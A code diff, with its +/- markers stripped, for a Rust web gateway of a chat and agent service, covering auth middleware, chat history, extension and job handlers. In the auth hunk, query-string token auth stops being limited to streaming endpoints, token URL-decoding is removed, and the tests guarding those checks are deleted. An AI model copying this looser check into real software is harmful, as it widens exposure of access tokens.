||||||
|
|
||||||
matches!(
|
|
||||||
request.uri().path(),
|
|
||||||
"/api/chat/events" | "/api/logs/events" | "/api/chat/ws"
|
|
||||||
)
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Extract the `token` query parameter value, URL-decoded.
|
|
||||||
fn query_token(request: &Request) -> Option<String> {
|
|
||||||
let query = request.uri().query()?;
|
|
||||||
url::form_urlencoded::parse(query.as_bytes()).find_map(|(k, v)| {
|
|
||||||
if k == "token" {
|
|
||||||
Some(v.into_owned())
|
|
||||||
} else {
|
|
||||||
None
|
|
||||||
}
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Auth middleware that validates bearer token from header or query param.
|
/// Auth middleware that validates bearer token from header or query param.
|
||||||
///
|
///
|
||||||
/// SSE connections can't set headers from `EventSource`, so we also accept
|
/// SSE connections can't set headers from `EventSource`, so we also accept
|
||||||
/// `?token=xxx` as a query parameter, but only on SSE endpoints.
|
/// `?token=xxx` as a query parameter.
|
||||||
pub async fn auth_middleware(
|
pub async fn auth_middleware(
|
||||||
State(auth): State<AuthState>,
|
State(auth): State<AuthState>,
|
||||||
headers: HeaderMap,
|
headers: HeaderMap,
|
||||||
request: Request,
|
request: Request,
|
||||||
next: Next,
|
next: Next,
|
||||||
) -> Response {
|
) -> Response {
|
||||||
// Try Authorization header first (constant-time comparison).
|
// Try Authorization header first (constant-time comparison)
|
||||||
// RFC 6750 Section 2.1: auth-scheme comparison is case-insensitive.
|
|
||||||
if let Some(auth_header) = headers.get("authorization")
|
if let Some(auth_header) = headers.get("authorization")
|
||||||
&& let Ok(value) = auth_header.to_str()
|
&& let Ok(value) = auth_header.to_str()
|
||||||
&& value.len() > 7
|
&& let Some(token) = value.strip_prefix("Bearer ")
|
||||||
&& value[..7].eq_ignore_ascii_case("Bearer ")
|
&& bool::from(token.as_bytes().ct_eq(auth.token.as_bytes()))
|
||||||
&& bool::from(value.as_bytes()[7..].ct_eq(auth.token.as_bytes()))
|
|
||||||
{
|
{
|
||||||
return next.run(request).await;
|
return next.run(request).await;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Fall back to query parameter, but only for SSE endpoints (constant-time comparison).
|
// Fall back to query parameter for SSE EventSource (constant-time comparison)
|
||||||
if allows_query_token_auth(&request)
|
if let Some(query) = request.uri().query() {
|
||||||
&& let Some(token) = query_token(&request)
|
for pair in query.split('&') {
|
||||||
&& bool::from(token.as_bytes().ct_eq(auth.token.as_bytes()))
|
if let Some(token) = pair.strip_prefix("token=")
|
||||||
{
|
&& bool::from(token.as_bytes().ct_eq(auth.token.as_bytes()))
|
||||||
return next.run(request).await;
|
{
|
||||||
|
return next.run(request).await;
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
(StatusCode::UNAUTHORIZED, "Invalid or missing auth token").into_response()
|
(StatusCode::UNAUTHORIZED, "Invalid or missing auth token").into_response()
|
||||||
@@ -92,217 +59,4 @@ mod tests {
|
|||||||
let cloned = state.clone();
|
let cloned = state.clone();
|
||||||
assert_eq!(cloned.token, "test-token");
|
assert_eq!(cloned.token, "test-token");
|
||||||
}
|
}
|
||||||
|
|
||||||
use axum::Router;
|
|
||||||
use axum::body::Body;
|
|
||||||
use axum::middleware;
|
|
||||||
use axum::routing::{get, post};
|
|
||||||
use tower::ServiceExt;
|
|
||||||
|
|
||||||
async fn dummy_handler() -> &'static str {
|
|
||||||
"ok"
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Router with streaming endpoints (query auth allowed) and regular
|
|
||||||
/// endpoints (query auth rejected).
|
|
||||||
fn test_app(token: &str) -> Router {
|
|
||||||
let state = AuthState {
|
|
||||||
token: token.to_string(),
|
|
||||||
};
|
|
||||||
Router::new()
|
|
||||||
.route("/api/chat/events", get(dummy_handler))
|
|
||||||
.route("/api/logs/events", get(dummy_handler))
|
|
||||||
.route("/api/chat/ws", get(dummy_handler))
|
|
||||||
.route("/api/chat/history", get(dummy_handler))
|
|
||||||
.route("/api/chat/send", post(dummy_handler))
|
|
||||||
.layer(middleware::from_fn_with_state(state, auth_middleware))
|
|
||||||
}
|
|
||||||
|
|
||||||
#[tokio::test]
|
|
||||||
async fn test_valid_bearer_token_passes() {
|
|
||||||
let app = test_app("secret-token");
|
|
||||||
let req = Request::builder()
|
|
||||||
.uri("/api/chat/events")
|
|
||||||
.header("Authorization", "Bearer secret-token")
|
|
||||||
.body(Body::empty())
|
|
||||||
.unwrap();
|
|
||||||
let resp = app.oneshot(req).await.unwrap();
|
|
||||||
assert_eq!(resp.status(), StatusCode::OK);
|
|
||||||
}
|
|
||||||
|
|
||||||
#[tokio::test]
|
|
||||||
async fn test_invalid_bearer_token_rejected() {
|
|
||||||
let app = test_app("secret-token");
|
|
||||||
let req = Request::builder()
|
|
||||||
.uri("/api/chat/events")
|
|
||||||
.header("Authorization", "Bearer wrong-token")
|
|
||||||
.body(Body::empty())
|
|
||||||
.unwrap();
|
|
||||||
let resp = app.oneshot(req).await.unwrap();
|
|
||||||
assert_eq!(resp.status(), StatusCode::UNAUTHORIZED);
|
|
||||||
}
|
|
||||||
|
|
||||||
#[tokio::test]
|
|
||||||
async fn test_query_token_allowed_for_chat_events() {
|
|
||||||
let app = test_app("secret-token");
|
|
||||||
let req = Request::builder()
|
|
||||||
.uri("/api/chat/events?token=secret-token")
|
|
||||||
.body(Body::empty())
|
|
||||||
.unwrap();
|
|
||||||
let resp = app.oneshot(req).await.unwrap();
|
|
||||||
assert_eq!(resp.status(), StatusCode::OK);
|
|
||||||
}
|
|
||||||
|
|
||||||
#[tokio::test]
|
|
||||||
async fn test_query_token_allowed_for_logs_events() {
|
|
||||||
let app = test_app("secret-token");
|
|
||||||
let req = Request::builder()
|
|
||||||
.uri("/api/logs/events?token=secret-token")
|
|
||||||
.body(Body::empty())
|
|
||||||
.unwrap();
|
|
||||||
let resp = app.oneshot(req).await.unwrap();
|
|
||||||
assert_eq!(resp.status(), StatusCode::OK);
|
|
||||||
}
|
|
||||||
|
|
||||||
#[tokio::test]
|
|
||||||
async fn test_query_token_allowed_for_ws_upgrade() {
|
|
||||||
let app = test_app("secret-token");
|
|
||||||
let req = Request::builder()
|
|
||||||
.uri("/api/chat/ws?token=secret-token")
|
|
||||||
.body(Body::empty())
|
|
||||||
.unwrap();
|
|
||||||
let resp = app.oneshot(req).await.unwrap();
|
|
||||||
assert_eq!(resp.status(), StatusCode::OK);
|
|
||||||
}
|
|
||||||
|
|
||||||
#[tokio::test]
|
|
||||||
async fn test_query_token_url_encoded() {
|
|
||||||
// Token with characters that get percent-encoded in URLs.
|
|
||||||
let raw_token = "tok+en/with spaces";
|
|
||||||
let app = test_app(raw_token);
|
|
||||||
let req = Request::builder()
|
|
||||||
.uri("/api/chat/events?token=tok%2Ben%2Fwith%20spaces")
|
|
||||||
.body(Body::empty())
|
|
||||||
.unwrap();
|
|
||||||
let resp = app.oneshot(req).await.unwrap();
|
|
||||||
assert_eq!(resp.status(), StatusCode::OK);
|
|
||||||
}
|
|
||||||
|
|
||||||
#[tokio::test]
|
|
||||||
async fn test_query_token_url_encoded_mismatch() {
|
|
||||||
let app = test_app("real-token");
|
|
||||||
// Encoded value decodes to "wrong-token", not "real-token".
|
|
||||||
let req = Request::builder()
|
|
||||||
.uri("/api/chat/events?token=wrong%2Dtoken")
|
|
||||||
.body(Body::empty())
|
|
||||||
.unwrap();
|
|
||||||
let resp = app.oneshot(req).await.unwrap();
|
|
||||||
assert_eq!(resp.status(), StatusCode::UNAUTHORIZED);
|
|
||||||
}
|
|
||||||
|
|
||||||
#[tokio::test]
|
|
||||||
async fn test_query_token_rejected_for_non_sse_get() {
|
|
||||||
let app = test_app("secret-token");
|
|
||||||
let req = Request::builder()
|
|
||||||
.uri("/api/chat/history?token=secret-token")
|
|
||||||
.body(Body::empty())
|
|
||||||
.unwrap();
|
|
||||||
let resp = app.oneshot(req).await.unwrap();
|
|
||||||
assert_eq!(resp.status(), StatusCode::UNAUTHORIZED);
|
|
||||||
}
|
|
||||||
|
|
||||||
#[tokio::test]
|
|
||||||
async fn test_query_token_rejected_for_post() {
|
|
||||||
let app = test_app("secret-token");
|
|
||||||
let req = Request::builder()
|
|
||||||
.method(Method::POST)
|
|
||||||
.uri("/api/chat/send?token=secret-token")
|
|
||||||
.body(Body::empty())
|
|
||||||
.unwrap();
|
|
||||||
let resp = app.oneshot(req).await.unwrap();
|
|
||||||
assert_eq!(resp.status(), StatusCode::UNAUTHORIZED);
|
|
||||||
}
|
|
||||||
|
|
||||||
#[tokio::test]
|
|
||||||
async fn test_query_token_invalid_rejected() {
|
|
||||||
let app = test_app("secret-token");
|
|
||||||
let req = Request::builder()
|
|
||||||
.uri("/api/chat/events?token=wrong-token")
|
|
||||||
.body(Body::empty())
|
|
||||||
.unwrap();
|
|
||||||
let resp = app.oneshot(req).await.unwrap();
|
|
||||||
assert_eq!(resp.status(), StatusCode::UNAUTHORIZED);
|
|
||||||
}
|
|
||||||
|
|
||||||
#[tokio::test]
|
|
||||||
async fn test_no_auth_at_all_rejected() {
|
|
||||||
let app = test_app("secret-token");
|
|
||||||
let req = Request::builder()
|
|
||||||
.uri("/api/chat/events")
|
|
||||||
.body(Body::empty())
|
|
||||||
.unwrap();
|
|
||||||
let resp = app.oneshot(req).await.unwrap();
|
|
||||||
assert_eq!(resp.status(), StatusCode::UNAUTHORIZED);
|
|
||||||
}
|
|
||||||
|
|
||||||
#[tokio::test]
|
|
||||||
async fn test_bearer_header_works_for_post() {
|
|
||||||
let app = test_app("secret-token");
|
|
||||||
let req = Request::builder()
|
|
||||||
.method(Method::POST)
|
|
||||||
.uri("/api/chat/send")
|
|
||||||
.header("Authorization", "Bearer secret-token")
|
|
||||||
.body(Body::empty())
|
|
||||||
.unwrap();
|
|
||||||
let resp = app.oneshot(req).await.unwrap();
|
|
||||||
assert_eq!(resp.status(), StatusCode::OK);
|
|
||||||
}
|
|
||||||
|
|
||||||
#[tokio::test]
|
|
||||||
async fn test_bearer_prefix_case_insensitive() {
|
|
||||||
let app = test_app("secret-token");
|
|
||||||
let req = Request::builder()
|
|
||||||
.uri("/api/chat/events")
|
|
||||||
.header("Authorization", "bearer secret-token")
|
|
||||||
.body(Body::empty())
|
|
||||||
.unwrap();
|
|
||||||
let resp = app.oneshot(req).await.unwrap();
|
|
||||||
assert_eq!(resp.status(), StatusCode::OK);
|
|
||||||
}
|
|
||||||
|
|
||||||
#[tokio::test]
|
|
||||||
async fn test_bearer_prefix_mixed_case() {
|
|
||||||
let app = test_app("secret-token");
|
|
||||||
let req = Request::builder()
|
|
||||||
.uri("/api/chat/events")
|
|
||||||
.header("Authorization", "BEARER secret-token")
|
|
||||||
.body(Body::empty())
|
|
||||||
.unwrap();
|
|
||||||
let resp = app.oneshot(req).await.unwrap();
|
|
||||||
assert_eq!(resp.status(), StatusCode::OK);
|
|
||||||
}
|
|
||||||
|
|
||||||
#[tokio::test]
|
|
||||||
async fn test_empty_bearer_token_rejected() {
|
|
||||||
let app = test_app("secret-token");
|
|
||||||
let req = Request::builder()
|
|
||||||
.uri("/api/chat/events")
|
|
||||||
.header("Authorization", "Bearer ")
|
|
||||||
.body(Body::empty())
|
|
||||||
.unwrap();
|
|
||||||
let resp = app.oneshot(req).await.unwrap();
|
|
||||||
assert_eq!(resp.status(), StatusCode::UNAUTHORIZED);
|
|
||||||
}
|
|
||||||
|
|
||||||
#[tokio::test]
|
|
||||||
async fn test_token_with_whitespace_rejected() {
|
|
||||||
let app = test_app("secret-token");
|
|
||||||
let req = Request::builder()
|
|
||||||
.uri("/api/chat/events")
|
|
||||||
.header("Authorization", "Bearer secret-token")
|
|
||||||
.body(Body::empty())
|
|
||||||
.unwrap();
|
|
||||||
let resp = app.oneshot(req).await.unwrap();
|
|
||||||
assert_eq!(resp.status(), StatusCode::UNAUTHORIZED);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -14,7 +14,6 @@ use uuid::Uuid;
|
|||||||
use crate::channels::IncomingMessage;
|
use crate::channels::IncomingMessage;
|
||||||
use crate::channels::web::server::GatewayState;
|
use crate::channels::web::server::GatewayState;
|
||||||
use crate::channels::web::types::*;
|
use crate::channels::web::types::*;
|
||||||
use crate::channels::web::util::{build_turns_from_db_messages, truncate_preview};
|
|
||||||
|
|
||||||
pub async fn chat_send_handler(
|
pub async fn chat_send_handler(
|
||||||
State(state): State<Arc<GatewayState>>,
|
State(state): State<Arc<GatewayState>>,
|
||||||
@@ -142,7 +141,7 @@ pub async fn chat_auth_token_handler(
|
|||||||
.await
|
.await
|
||||||
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?;
|
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?;
|
||||||
|
|
||||||
if result.is_authenticated() {
|
if result.status == "authenticated" {
|
||||||
// Auto-activate so tools are available immediately
|
// Auto-activate so tools are available immediately
|
||||||
let msg = match ext_mgr.activate(&req.extension_name).await {
|
let msg = match ext_mgr.activate(&req.extension_name).await {
|
||||||
Ok(r) => format!(
|
Ok(r) => format!(
|
||||||
@@ -170,14 +169,13 @@ pub async fn chat_auth_token_handler(
|
|||||||
// Re-emit auth_required for retry
|
// Re-emit auth_required for retry
|
||||||
state.sse.broadcast(SseEvent::AuthRequired {
|
state.sse.broadcast(SseEvent::AuthRequired {
|
||||||
extension_name: req.extension_name.clone(),
|
extension_name: req.extension_name.clone(),
|
||||||
instructions: result.instructions().map(String::from),
|
instructions: result.instructions.clone(),
|
||||||
auth_url: result.auth_url().map(String::from),
|
auth_url: result.auth_url.clone(),
|
||||||
setup_url: result.setup_url().map(String::from),
|
setup_url: result.setup_url.clone(),
|
||||||
});
|
});
|
||||||
Ok(Json(ActionResponse::fail(
|
Ok(Json(ActionResponse::fail(
|
||||||
result
|
result
|
||||||
.instructions()
|
.instructions
|
||||||
.map(String::from)
|
|
||||||
.unwrap_or_else(|| "Invalid token".to_string()),
|
.unwrap_or_else(|| "Invalid token".to_string()),
|
||||||
)))
|
)))
|
||||||
}
|
}
|
||||||
@@ -319,13 +317,12 @@ pub async fn chat_history_handler(
|
|||||||
turns,
|
turns,
|
||||||
has_more,
|
has_more,
|
||||||
oldest_timestamp,
|
oldest_timestamp,
|
||||||
pending_approval: None,
|
|
||||||
}));
|
}));
|
||||||
}
|
}
|
||||||
|
|
||||||
// Try in-memory first (freshest data for active threads)
|
// Try in-memory first (freshest data for active threads)
|
||||||
if let Some(thread) = sess.threads.get(&thread_id)
|
if let Some(thread) = sess.threads.get(&thread_id)
|
||||||
&& (!thread.turns.is_empty() || thread.pending_approval.is_some())
|
&& !thread.turns.is_empty()
|
||||||
{
|
{
|
||||||
let turns: Vec<TurnInfo> = thread
|
let turns: Vec<TurnInfo> = thread
|
||||||
.turns
|
.turns
|
||||||
@@ -344,35 +341,16 @@ pub async fn chat_history_handler(
|
|||||||
name: tc.name.clone(),
|
name: tc.name.clone(),
|
||||||
has_result: tc.result.is_some(),
|
has_result: tc.result.is_some(),
|
||||||
has_error: tc.error.is_some(),
|
has_error: tc.error.is_some(),
|
||||||
result_preview: tc.result.as_ref().map(|r| {
|
|
||||||
let s = match r {
|
|
||||||
serde_json::Value::String(s) => s.clone(),
|
|
||||||
other => other.to_string(),
|
|
||||||
};
|
|
||||||
truncate_preview(&s, 500)
|
|
||||||
}),
|
|
||||||
error: tc.error.clone(),
|
|
||||||
})
|
})
|
||||||
.collect(),
|
.collect(),
|
||||||
})
|
})
|
||||||
.collect();
|
.collect();
|
||||||
|
|
||||||
let pending_approval = thread
|
|
||||||
.pending_approval
|
|
||||||
.as_ref()
|
|
||||||
.map(|pa| PendingApprovalInfo {
|
|
||||||
request_id: pa.request_id.to_string(),
|
|
||||||
tool_name: pa.tool_name.clone(),
|
|
||||||
description: pa.description.clone(),
|
|
||||||
parameters: serde_json::to_string_pretty(&pa.parameters).unwrap_or_default(),
|
|
||||||
});
|
|
||||||
|
|
||||||
return Ok(Json(HistoryResponse {
|
return Ok(Json(HistoryResponse {
|
||||||
thread_id,
|
thread_id,
|
||||||
turns,
|
turns,
|
||||||
has_more: false,
|
has_more: false,
|
||||||
oldest_timestamp: None,
|
oldest_timestamp: None,
|
||||||
pending_approval,
|
|
||||||
}));
|
}));
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -391,7 +369,6 @@ pub async fn chat_history_handler(
|
|||||||
turns,
|
turns,
|
||||||
has_more,
|
has_more,
|
||||||
oldest_timestamp,
|
oldest_timestamp,
|
||||||
pending_approval: None,
|
|
||||||
}));
|
}));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -402,10 +379,51 @@ pub async fn chat_history_handler(
|
|||||||
turns: Vec::new(),
|
turns: Vec::new(),
|
||||||
has_more: false,
|
has_more: false,
|
||||||
oldest_timestamp: None,
|
oldest_timestamp: None,
|
||||||
pending_approval: None,
|
|
||||||
}))
|
}))
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// Build TurnInfo pairs from flat DB messages (alternating user/assistant).
|
||||||
|
pub fn build_turns_from_db_messages(
|
||||||
|
messages: &[crate::history::ConversationMessage],
|
||||||
|
) -> Vec<TurnInfo> {
|
||||||
|
let mut turns = Vec::new();
|
||||||
|
let mut turn_number = 0;
|
||||||
|
let mut iter = messages.iter().peekable();
|
||||||
|
|
||||||
|
while let Some(msg) = iter.next() {
|
||||||
|
if msg.role == "user" {
|
||||||
|
let mut turn = TurnInfo {
|
||||||
|
turn_number,
|
||||||
|
user_input: msg.content.clone(),
|
||||||
|
response: None,
|
||||||
|
state: "Completed".to_string(),
|
||||||
|
started_at: msg.created_at.to_rfc3339(),
|
||||||
|
completed_at: None,
|
||||||
|
tool_calls: Vec::new(),
|
||||||
|
};
|
||||||
|
|
||||||
|
// Check if next message is an assistant response
|
||||||
|
if let Some(next) = iter.peek()
|
||||||
|
&& next.role == "assistant"
|
||||||
|
{
|
||||||
|
let assistant_msg = iter.next().expect("peeked");
|
||||||
|
turn.response = Some(assistant_msg.content.clone());
|
||||||
|
turn.completed_at = Some(assistant_msg.created_at.to_rfc3339());
|
||||||
|
}
|
||||||
|
|
||||||
|
// Incomplete turn (user message without response)
|
||||||
|
if turn.response.is_none() {
|
||||||
|
turn.state = "Failed".to_string();
|
||||||
|
}
|
||||||
|
|
||||||
|
turns.push(turn);
|
||||||
|
turn_number += 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
turns
|
||||||
|
}
|
||||||
|
|
||||||
pub async fn chat_threads_handler(
|
pub async fn chat_threads_handler(
|
||||||
State(state): State<Arc<GatewayState>>,
|
State(state): State<Arc<GatewayState>>,
|
||||||
) -> Result<Json<ThreadListResponse>, (StatusCode, String)> {
|
) -> Result<Json<ThreadListResponse>, (StatusCode, String)> {
|
||||||
@@ -436,7 +454,7 @@ pub async fn chat_threads_handler(
|
|||||||
let info = ThreadInfo {
|
let info = ThreadInfo {
|
||||||
id: s.id,
|
id: s.id,
|
||||||
state: "Idle".to_string(),
|
state: "Idle".to_string(),
|
||||||
turn_count: s.message_count.max(0) as usize,
|
turn_count: (s.message_count / 2).max(0) as usize,
|
||||||
created_at: s.started_at.to_rfc3339(),
|
created_at: s.started_at.to_rfc3339(),
|
||||||
updated_at: s.last_activity.to_rfc3339(),
|
updated_at: s.last_activity.to_rfc3339(),
|
||||||
title: s.title.clone(),
|
title: s.title.clone(),
|
||||||
@@ -612,105 +630,4 @@ mod tests {
|
|||||||
assert!(turns[1].response.is_none());
|
assert!(turns[1].response.is_none());
|
||||||
assert_eq!(turns[1].state, "Failed");
|
assert_eq!(turns[1].state, "Failed");
|
||||||
}
|
}
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_build_turns_with_tool_calls() {
|
|
||||||
let now = chrono::Utc::now();
|
|
||||||
let tool_calls_json = serde_json::json!([
|
|
||||||
{"name": "shell", "result_preview": "file1.txt\nfile2.txt"},
|
|
||||||
{"name": "http", "error": "timeout"}
|
|
||||||
]);
|
|
||||||
let messages = vec![
|
|
||||||
crate::history::ConversationMessage {
|
|
||||||
id: Uuid::new_v4(),
|
|
||||||
role: "user".to_string(),
|
|
||||||
content: "List files".to_string(),
|
|
||||||
created_at: now,
|
|
||||||
},
|
|
||||||
crate::history::ConversationMessage {
|
|
||||||
id: Uuid::new_v4(),
|
|
||||||
role: "tool_calls".to_string(),
|
|
||||||
content: tool_calls_json.to_string(),
|
|
||||||
created_at: now + chrono::TimeDelta::milliseconds(500),
|
|
||||||
},
|
|
||||||
crate::history::ConversationMessage {
|
|
||||||
id: Uuid::new_v4(),
|
|
||||||
role: "assistant".to_string(),
|
|
||||||
content: "Here are the files".to_string(),
|
|
||||||
created_at: now + chrono::TimeDelta::seconds(1),
|
|
||||||
},
|
|
||||||
];
|
|
||||||
|
|
||||||
let turns = build_turns_from_db_messages(&messages);
|
|
||||||
assert_eq!(turns.len(), 1);
|
|
||||||
assert_eq!(turns[0].tool_calls.len(), 2);
|
|
||||||
assert_eq!(turns[0].tool_calls[0].name, "shell");
|
|
||||||
assert!(turns[0].tool_calls[0].has_result);
|
|
||||||
assert!(!turns[0].tool_calls[0].has_error);
|
|
||||||
assert_eq!(
|
|
||||||
turns[0].tool_calls[0].result_preview.as_deref(),
|
|
||||||
Some("file1.txt\nfile2.txt")
|
|
||||||
);
|
|
||||||
assert_eq!(turns[0].tool_calls[1].name, "http");
|
|
||||||
assert!(turns[0].tool_calls[1].has_error);
|
|
||||||
assert_eq!(turns[0].tool_calls[1].error.as_deref(), Some("timeout"));
|
|
||||||
assert_eq!(turns[0].response.as_deref(), Some("Here are the files"));
|
|
||||||
assert_eq!(turns[0].state, "Completed");
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_build_turns_with_malformed_tool_calls() {
|
|
||||||
let now = chrono::Utc::now();
|
|
||||||
let messages = vec![
|
|
||||||
crate::history::ConversationMessage {
|
|
||||||
id: Uuid::new_v4(),
|
|
||||||
role: "user".to_string(),
|
|
||||||
content: "Hello".to_string(),
|
|
||||||
created_at: now,
|
|
||||||
},
|
|
||||||
crate::history::ConversationMessage {
|
|
||||||
id: Uuid::new_v4(),
|
|
||||||
role: "tool_calls".to_string(),
|
|
||||||
content: "not valid json".to_string(),
|
|
||||||
created_at: now + chrono::TimeDelta::milliseconds(500),
|
|
||||||
},
|
|
||||||
crate::history::ConversationMessage {
|
|
||||||
id: Uuid::new_v4(),
|
|
||||||
role: "assistant".to_string(),
|
|
||||||
content: "Done".to_string(),
|
|
||||||
created_at: now + chrono::TimeDelta::seconds(1),
|
|
||||||
},
|
|
||||||
];
|
|
||||||
|
|
||||||
let turns = build_turns_from_db_messages(&messages);
|
|
||||||
assert_eq!(turns.len(), 1);
|
|
||||||
assert!(turns[0].tool_calls.is_empty());
|
|
||||||
assert_eq!(turns[0].response.as_deref(), Some("Done"));
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_build_turns_backward_compatible_no_tool_calls() {
|
|
||||||
// Old threads without tool_calls messages still work
|
|
||||||
let now = chrono::Utc::now();
|
|
||||||
let messages = vec![
|
|
||||||
crate::history::ConversationMessage {
|
|
||||||
id: Uuid::new_v4(),
|
|
||||||
role: "user".to_string(),
|
|
||||||
content: "Hello".to_string(),
|
|
||||||
created_at: now,
|
|
||||||
},
|
|
||||||
crate::history::ConversationMessage {
|
|
||||||
id: Uuid::new_v4(),
|
|
||||||
role: "assistant".to_string(),
|
|
||||||
content: "Hi!".to_string(),
|
|
||||||
created_at: now + chrono::TimeDelta::seconds(1),
|
|
||||||
},
|
|
||||||
];
|
|
||||||
|
|
||||||
let turns = build_turns_from_db_messages(&messages);
|
|
||||||
assert_eq!(turns.len(), 1);
|
|
||||||
assert!(turns[0].tool_calls.is_empty());
|
|
||||||
assert_eq!(turns[0].response.as_deref(), Some("Hi!"));
|
|
||||||
assert_eq!(turns[0].state, "Completed");
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -33,7 +33,7 @@ pub async fn extensions_list_handler(
|
|||||||
"failed".to_string()
|
"failed".to_string()
|
||||||
} else if !ext.authenticated {
|
} else if !ext.authenticated {
|
||||||
"installed".to_string()
|
"installed".to_string()
|
||||||
} else if ext.active {
|
} else if ext.active && ext.name == "telegram" {
|
||||||
let has_paired = pairing_store
|
let has_paired = pairing_store
|
||||||
.read_allow_from(&ext.name)
|
.read_allow_from(&ext.name)
|
||||||
.map(|list| !list.is_empty())
|
.map(|list| !list.is_empty())
|
||||||
@@ -51,7 +51,6 @@ pub async fn extensions_list_handler(
|
|||||||
};
|
};
|
||||||
ExtensionInfo {
|
ExtensionInfo {
|
||||||
name: ext.name,
|
name: ext.name,
|
||||||
display_name: ext.display_name,
|
|
||||||
kind: ext.kind.to_string(),
|
kind: ext.kind.to_string(),
|
||||||
description: ext.description,
|
description: ext.description,
|
||||||
url: ext.url,
|
url: ext.url,
|
||||||
@@ -59,7 +58,6 @@ pub async fn extensions_list_handler(
|
|||||||
active: ext.active,
|
active: ext.active,
|
||||||
tools: ext.tools,
|
tools: ext.tools,
|
||||||
needs_setup: ext.needs_setup,
|
needs_setup: ext.needs_setup,
|
||||||
has_auth: ext.has_auth,
|
|
||||||
activation_status,
|
activation_status,
|
||||||
activation_error: ext.activation_error,
|
activation_error: ext.activation_error,
|
||||||
}
|
}
|
||||||
@@ -124,11 +122,7 @@ pub async fn extensions_activate_handler(
|
|||||||
))?;
|
))?;
|
||||||
|
|
||||||
match ext_mgr.activate(&name).await {
|
match ext_mgr.activate(&name).await {
|
||||||
Ok(result) => {
|
Ok(result) => Ok(Json(ActionResponse::ok(result.message))),
|
||||||
// Activation just loads the WASM module. Auth (OAuth/manual) is
|
|
||||||
// triggered separately via save_setup_secrets or the auth endpoint.
|
|
||||||
Ok(Json(ActionResponse::ok(result.message)))
|
|
||||||
}
|
|
||||||
Err(activate_err) => {
|
Err(activate_err) => {
|
||||||
let err_str = activate_err.to_string();
|
let err_str = activate_err.to_string();
|
||||||
let needs_auth = err_str.contains("authentication")
|
let needs_auth = err_str.contains("authentication")
|
||||||
@@ -141,7 +135,7 @@ pub async fn extensions_activate_handler(
|
|||||||
|
|
||||||
// Activation failed due to auth; try authenticating first.
|
// Activation failed due to auth; try authenticating first.
|
||||||
match ext_mgr.auth(&name, None).await {
|
match ext_mgr.auth(&name, None).await {
|
||||||
Ok(auth_result) if auth_result.is_authenticated() => {
|
Ok(auth_result) if auth_result.status == "authenticated" => {
|
||||||
// Auth succeeded, retry activation.
|
// Auth succeeded, retry activation.
|
||||||
match ext_mgr.activate(&name).await {
|
match ext_mgr.activate(&name).await {
|
||||||
Ok(result) => Ok(Json(ActionResponse::ok(result.message))),
|
Ok(result) => Ok(Json(ActionResponse::ok(result.message))),
|
||||||
@@ -152,13 +146,13 @@ pub async fn extensions_activate_handler(
|
|||||||
// Auth in progress (OAuth URL or awaiting manual token).
|
// Auth in progress (OAuth URL or awaiting manual token).
|
||||||
let mut resp = ActionResponse::fail(
|
let mut resp = ActionResponse::fail(
|
||||||
auth_result
|
auth_result
|
||||||
.instructions()
|
.instructions
|
||||||
.map(String::from)
|
.clone()
|
||||||
.unwrap_or_else(|| format!("'{}' requires authentication.", name)),
|
.unwrap_or_else(|| format!("'{}' requires authentication.", name)),
|
||||||
);
|
);
|
||||||
resp.auth_url = auth_result.auth_url().map(String::from);
|
resp.auth_url = auth_result.auth_url;
|
||||||
resp.awaiting_token = Some(auth_result.is_awaiting_token());
|
resp.awaiting_token = Some(auth_result.awaiting_token);
|
||||||
resp.instructions = auth_result.instructions().map(String::from);
|
resp.instructions = auth_result.instructions;
|
||||||
Ok(Json(resp))
|
Ok(Json(resp))
|
||||||
}
|
}
|
||||||
Err(auth_err) => Ok(Json(ActionResponse::fail(format!(
|
Err(auth_err) => Ok(Json(ActionResponse::fail(format!(
|
||||||
|
|||||||
+177
-347
@@ -1,6 +1,5 @@
|
|||||||
//! Job and sandbox API handlers.
|
//! Job and sandbox API handlers.
|
||||||
|
|
||||||
use std::collections::HashSet;
|
|
||||||
use std::sync::Arc;
|
use std::sync::Arc;
|
||||||
|
|
||||||
use axum::{
|
use axum::{
|
||||||
@@ -22,55 +21,32 @@ pub async fn jobs_list_handler(
|
|||||||
"Database not available".to_string(),
|
"Database not available".to_string(),
|
||||||
))?;
|
))?;
|
||||||
|
|
||||||
let mut jobs: Vec<JobInfo> = Vec::new();
|
// Fetch sandbox jobs scoped to the authenticated user.
|
||||||
let mut seen_ids: HashSet<Uuid> = HashSet::new();
|
let sandbox_jobs = store
|
||||||
|
.list_sandbox_jobs_for_user(&state.user_id)
|
||||||
|
.await
|
||||||
|
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?;
|
||||||
|
|
||||||
// Fetch sandbox jobs from database.
|
// Scope jobs to the authenticated user.
|
||||||
match store.list_sandbox_jobs().await {
|
let mut jobs: Vec<JobInfo> = sandbox_jobs
|
||||||
Ok(sandbox_jobs) => {
|
.iter()
|
||||||
for j in &sandbox_jobs {
|
.filter(|j| j.user_id == state.user_id)
|
||||||
let ui_state = match j.status.as_str() {
|
.map(|j| {
|
||||||
"creating" => "pending",
|
let ui_state = match j.status.as_str() {
|
||||||
"running" => "in_progress",
|
"creating" => "pending",
|
||||||
s => s,
|
"running" => "in_progress",
|
||||||
};
|
s => s,
|
||||||
seen_ids.insert(j.id);
|
};
|
||||||
jobs.push(JobInfo {
|
JobInfo {
|
||||||
id: j.id,
|
id: j.id,
|
||||||
title: j.task.clone(),
|
title: j.task.clone(),
|
||||||
state: ui_state.to_string(),
|
state: ui_state.to_string(),
|
||||||
